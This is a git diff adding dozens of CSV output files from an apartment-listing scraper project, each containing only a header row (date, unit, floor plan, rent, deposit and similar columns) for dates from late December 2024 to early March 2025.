b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241224.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241224.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241225.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241225.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241225.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241226.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241226.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241226.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241227.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241227.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241227.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241228.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241228.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241228.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241229.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241229.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241229.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241230.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241230.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241230.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241231.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241231.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241231.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250101.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250101.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250101.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250102.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250102.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250102.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250103.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250103.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250103.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250104.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250104.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250104.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250105.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250105.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250105.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250106.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250106.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250106.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250107.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250107.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250107.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250108.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250108.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250108.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250109.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250109.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250109.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250110.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250110.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250110.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250111.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250111.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250111.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250112.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250112.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250112.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250113.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250113.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250113.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250114.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250114.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250114.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250115.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250115.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250115.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250116.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250116.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250116.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250117.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250117.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250117.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250118.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250118.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250118.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250119.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250119.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250119.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250120.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250120.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250120.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250121.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250121.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250121.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250122.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250122.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250122.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250123.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250123.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250123.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250124.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250124.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250124.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250125.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250125.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250125.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250126.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250126.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250126.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250127.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250127.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250127.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250128.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250128.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250128.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250129.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250129.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250129.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250130.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250130.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250130.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250131.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250131.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250131.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250201.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250201.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250201.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250202.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250202.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250202.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250203.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250203.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250203.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250204.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250204.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250204.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250205.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250205.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250205.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250206.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250206.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250206.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250207.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250207.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250207.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250208.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250208.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250208.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250209.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250209.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250209.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250210.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250210.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250210.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250211.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250211.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250211.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250212.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250212.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250212.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250213.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250213.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250213.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250214.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250214.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250214.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250215.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250215.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250215.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250216.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250216.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250216.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250217.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250217.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250217.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250218.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250218.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250218.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250219.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250219.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250219.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250220.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250220.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250220.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250221.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250221.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250221.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250222.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250222.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250222.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250223.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250223.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250223.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250224.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250224.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250224.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250225.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250225.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250225.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250226.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250226.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250226.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250227.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250227.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250227.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250228.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250228.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250228.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250301.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250301.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250301.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250302.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250302.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250302.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250303.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20250303.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ 